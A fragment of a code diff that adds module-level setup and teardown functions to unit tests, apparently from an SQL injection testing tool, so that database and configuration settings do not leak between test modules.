unittest.main(verbosity=2)
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -24,7 +24,7 @@ import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.data import conf, kb
@ -151,3 +151,7 @@ class TestSearchIsLogarithmic(_EngineCase):
if __name__ == "__main__":
unittest.main(verbosity=2)
def tearDownModule():
reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules

View file

@ -16,6 +16,21 @@ bootstrap()
import lib.techniques.ldap.inject as ldap
# several setUps here write these conf keys without restoring them; snapshot/restore at the module
# boundary so they can't leak into later test modules (order-dependent flakiness)
_LDAP_CONF_KEYS = ("parameters", "paramDict", "skipUrlEncode", "cookieDel")
_saved_conf = {}
def setUpModule():
from lib.core.data import conf
for k in _LDAP_CONF_KEYS:
_saved_conf[k] = conf.get(k)
def tearDownModule():
from lib.core.data import conf
for k, v in _saved_conf.items():
conf[k] = v
# --- Helpers ----------------------------------------------------------------
SENTINEL = ldap.SENTINEL

Some files were not shown because too many files have changed in this diff Show more